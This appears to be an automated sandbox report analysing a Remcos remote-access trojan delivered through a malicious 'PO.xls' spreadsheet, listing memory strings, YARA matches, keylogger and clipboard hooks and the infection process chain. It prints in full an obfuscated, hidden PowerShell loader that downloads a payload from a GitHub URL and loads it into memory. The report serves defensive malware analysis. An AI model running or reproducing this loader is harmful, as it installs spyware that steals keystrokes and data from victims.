Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 0000000C.00000002.478381867.000000000268B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.473571085.0000000002361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000E.00000002.473571085.000000000249B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 0000000E.00000002.473571085.000000000249B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Source: powershell.exe, 0000000E.00000002.473571085.000000000249B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txtfq4;
Source: powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: strmr.co.url.5.dr	String found in binary or memory: https://strmr.co/
Source: a9ifFT.url.5.dr	String found in binary or memory: https://strmr.co/a9ifFT
Source: PO.xls	String found in binary or memory: https://strmr.co/a9ifFTN
Source: 62830000.0.dr, ~DF59A7707E25171593.TMP.0.dr	String found in binary or memory: https://strmr.co/a9ifFTyX

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443

Source: unknown	HTTPS traffic detected: 172.67.179.215:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.88:443 -> 192.168.2.22:49165 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,00000000

16_2_0040A2F3

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

16_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

16_2_004168FC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

16_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

16_2_0040A41B

Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3044, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1027741834.000000000239E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1027592173.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3044, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0041CA73 SystemParametersInfoW,

16_2_0041CA73

System Summary

Malicious sample detected (through community Yara rule)

Source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3940, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR	Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 3044, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C899BC08.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: PO.xls	OLE: Microsoft Excel 2007+
Source: ~DFCE2419FB28151868.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: 62830000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\a9ifFT.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\strmr.co.url			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 49%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,

16_2_004167EF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0043706A	16_2_0043706A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00414005	16_2_00414005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0043E11C	16_2_0043E11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_004541D9	16_2_004541D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_004381E8	16_2_004381E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0041F18B	16_2_0041F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00446270	16_2_00446270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0043E34B	16_2_0043E34B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_004533AB	16_2_004533AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0042742E	16_2_0042742E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00437566	16_2_00437566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0043E5A8	16_2_0043E5A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_004387F0	16_2_004387F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0043797E	16_2_0043797E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_004339D7	16_2_004339D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0044DA49	16_2_0044DA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00427AD7	16_2_00427AD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0041DBF3	16_2_0041DBF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00427C40	16_2_00427C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00437DB3	16_2_00437DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00435EEB	16_2_00435EEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0043DEED	16_2_0043DEED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00426E9F	16_2_00426E9F

Source: PO.xls

OLE indicator, VBA macros: true

Source: ~DFCE2419FB28151868.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{91BCF8F6-C2FD-4749-855D-C3013FC0B30C}.tmp.5.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434E70 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434801 appears 41 times

Source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
